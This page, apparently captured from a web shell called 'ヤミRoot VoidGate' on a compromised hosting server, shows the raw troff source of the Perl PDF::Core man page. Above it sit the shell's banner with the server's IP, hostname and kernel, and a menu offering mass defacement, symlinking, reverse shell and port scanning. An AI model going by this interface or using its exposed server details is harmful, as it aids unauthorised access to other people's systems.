ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
perl5
/
man
/
man3
/
Viewing: PDF::Core.3pm
.\" Automatically generated by Pod::Man 2.27 (Pod::Simple 3.28) .\" .\" Standard preamble: .\" ======================================================================== .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. \*(C+ will .\" give a nicer C++. Capital omega is used to do unbreakable dashes and .\" therefore won't be available. \*(C` and \*(C' expand to `' in nroff, .\" nothing in troff, for use with C<>. .tr \(*W- .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' . ds C` . ds C' 'br\} .\" .\" Escape single quotes in literal strings from groff's Unicode transform. .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .\" .\" Avoid warning from groff about undefined register 'F'. .de IX .. .nr rF 0 .if \n(.g .if rF .nr rF 1 .if (\n(rF:(\n(.g==0)) \{ . if \nF \{ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . if !\nF==2 \{ . nr % 0 . nr F 2 . \} . \} .\} .rr rF .\" ======================================================================== .\" .IX Title "PDF::Core 3" .TH PDF::Core 3 "2000-02-08" "perl v5.16.3" "User Contributed Perl Documentation" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .if n .ad l .nh .SH "NAME" PDF::Core \- Core Library for PDF library .SH "SYNOPSIS" .IX Header "SYNOPSIS" .Vb 1 \& use PDF::Core; \& \& $pdf=PDF::Core\->new ; \& $pdf=PDF\->new(filename); \& \& $res= $pdf\->GetObject($ref); \& \& $name = UnQuoteName($pdfname); \& $string = UnQuoteString($pdfstring); \& \& $pdfname = QuoteName($name); \& $pdfhexstring = QuoteHexString($string); \& $pdfstring = QuoteString($string); \& \& $obj = PDFGetPrimitive (filehandle, \e$offset); \& $line = PDFGetLine (filehandle, \e$offset); .Ve .SH "DESCRIPTION" .IX Header "DESCRIPTION" The main purpose of the PDF::Core library is to provide the data structure and the constructor for the more general \s-1PDF\s0 library. .SH "Helper functions" .IX Header "Helper functions" This functions are not part of the class, but perform useful services. .SS "UnQuoteName ( string )" .IX Subsection "UnQuoteName ( string )" This function processes quoted characters in a PDF-name. PDF-names returned by \&\fBGetObject\fR are already processed by this function. .PP Returns a string. .SS "UnQuoteString ( string )" .IX Subsection "UnQuoteString ( string )" This function extracts the text from PDF-strings and PDF-hexstrings. It will process all quoted characters and remove the enclosing braces. .PP \&\s-1WARNING:\s0 The current version doesn't handle unicode strings properly. .PP Returns a string. .SS "QuoteName ( string )" .IX Subsection "QuoteName ( string )" This function quotes problematic characters in a PDF-name. This function should be used before writing a PDF-name back to a PDF-file. .PP Returns a string. .SS "QuoteHexString ( string )" .IX Subsection "QuoteHexString ( string )" This function translates a string into a PDF-hexstring. .PP Returns a string. .SS "QuoteString ( string )" .IX Subsection "QuoteString ( string )" This function translates a string into a PDF-string. Problematic character will be quoted. .PP \&\s-1WARNING:\s0 The current version doesn't handle unicode strings properly. .PP Returns a string. .SS "PDFGetPrimitive ( filehandle, offset )" .IX Subsection "PDFGetPrimitive ( filehandle, offset )" This internal function is used while parsing a PDF-file. If you are not writing extentions for this library and are parsing some special parts of the PDF-file, stay away and use \fBGetObject\fR instead. .PP This function has many quirks and limitations. Check the source for details. .SS "PDFGetline ( filehandle, offset )" .IX Subsection "PDFGetline ( filehandle, offset )" This internal function was used to read a line from a PDF-file. It has many limitations and you should stay away from it, if you don't know what you are doing. Use \fBGetObject\fR or \fBPDFGetPrimitive\fR instead. .SH "Constructor" .IX Header "Constructor" .SS "new ( [ filename ] )" .IX Subsection "new ( [ filename ] )" This is the constructor of a new \s-1PDF\s0 object. If the filename is missing, it returns an empty \s-1PDF\s0 descriptor ( can be filled with \&\f(CW$pdf\fR\->TargetFile). Otherwise, It acts as the \fBPDF::Parse::TargetFile\fR method. .SH "Methods" .IX Header "Methods" The available methods are: .SS "GetObject (reference)" .IX Subsection "GetObject (reference)" This methods returns the PDF-object for \fBreference\fR. The string \&\fBreference\fR must match the regular expression /^\ed+ \ed+ R$/, where the first number is the object number, the second number the generation number. .PP The return value is a PDF-primitive, the type depends on the content of the object: .IP "\fBundef\fR" 4 .IX Item "undef" The object could not be found or an error. Not all referenced objects need to be present in a PDF-file. This value can be ignored. .IP "\fBHash Reference\fR" 4 .IX Item "Hash Reference" If (UNIVERSAL::isa ($retval, \*(L"\s-1HASH\*(R"\s0) is true, the object is a PDF-dictionary. The keys of the hash should be either a \s-1PDF\s0 name (eg: /MediaBox) or a generated value like Stream_Offset. Everything else is an error. .Sp The values of the hash can be any PDF-primitive, including PDF-arrays and other dictionaries. .Sp This is the most common value returned by GetObject. If the key Stream_Offset exists, the dictionary is followed by stream data, starting at the file offeset indicated by this value. .IP "\fBArray Reference\fR" 4 .IX Item "Array Reference" If (UNIVERSAL::isa ($retval, \*(L"\s-1ARRAY\*(R"\s0) is true, the object is a PDF-array. Each element may be of a different type, and may contain further references to arrays or any other PDF-primitive. .IP "\fBString matching /^\ed+ \ed+ R$/\fR" 4 .IX Item "String matching /^d+ d+ R$/" This is a reference to another PDF-Object. This value can be passed to GetObject. This kind of value may appear instead of most other types. Some PDF-writing programs seem to have special fun writing references when a simple number is expected. If the final number is need, use code like this to resolve references: .Sp while ($len =~ m/^\ed+ \ed+ R$/) {$len = \f(CW$self\fR\->GetObject ($len); } .Sp Example: 22 0 R .IP "\fBString matching /^\e//\fR" 4 .IX Item "String matching /^//" This is a Name in a \s-1PDF\s0 dictionary. This string is already processed by \fBUnQuotName\fR and may differ from the value in the PDF-file. In some very old andstrange non-standard PDF-files, this may lead to confusion. .Sp Example: /MediaBox .IP "\fBString matching /^\e(.*\e)$/\fR" 4 .IX Item "String matching /^)$/" This is a string. It may contain newlines, quoted characters und other strange stuff. Use PDF::UnQuoteString to extract the text. .Sp Example: (This is\ena string with two \e(2\e) lines.) .IP "\fBString matching /^<.*>$/\fR" 4 .IX Item "String matching /^<.*>$/" This is a hex encoded string. Use PDF::UnQuoteString to extract the text. .Sp Example: <48 45 4c4C4 F1c> .IP "\fBString matching /^[\ed.\e+\e\-]+$/\fR" 4 .IX Item "String matching /^[d.+-]+$/" This is probably a number. .Sp Example: 611 .IP "\fBString matching none of the above\fR" 4 .IX Item "String matching none of the above" this is either a \s-1PDF\s0 bareword (eg. true, false, ...) or a value generated by this method like Stream_Offset. .Sp Example: true .PP To improve performance GetObject uses an internal cache for objects. Repeated requests for the same objects are not read form the file but satisfied from the cache. With the Variable \fB\f(CB$PDF::Core::UseObjectCache\fB\fR, the caching mechanism can be turned off. .PP \&\fB\s-1WARNING\s0\fR .PP Special care must be taken, when returned objects are modified. If the object contains sub-objects, the sub-objects are not duplicated and all changes affect all other copies of this object. Use your own copy, if you need to modify those values. .SH "Variables" .IX Header "Variables" Available variables are: .ie n .IP "\fB\fB$PDF::Core::VERSION\fB\fR" 4 .el .IP "\fB\f(CB$PDF::Core::VERSION\fB\fR" 4 .IX Item "$PDF::Core::VERSION" Contains the version of the library installed .ie n .IP "\fB\fB$PDF::Core::UseObjectCache\fB\fR" 4 .el .IP "\fB\f(CB$PDF::Core::UseObjectCache\fB\fR" 4 .IX Item "$PDF::Core::UseObjectCache" If this variable is true, all processed objects will be added to the object cache. If only header information of a \s-1PDF\s0 are read or very big \&\s-1PDF\s0 are processed, turning off the cache reduces the memory usage. .SH "Copyright" .IX Header "Copyright" .Vb 1 \& Copyright (c) 1998 \- 2000 Antonio Rosella Italy antro@tiscalinet.it, Johannes Blach dw235@yahoo.com .Ve .PP This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself. .SH "Availability" .IX Header "Availability" The latest version of this library is likely to be available from: .PP http://www.geocities.com/CapeCanaveral/Hangar/4794/ .SH "POD ERRORS" .IX Header "POD ERRORS" Hey! \fBThe above document had some coding errors, which are explained below:\fR .IP "Around line 880:" 4 .IX Item "Around line 880:" =back doesn't take any parameters, but you said =back 4
Coded With 💗 by
0x6ick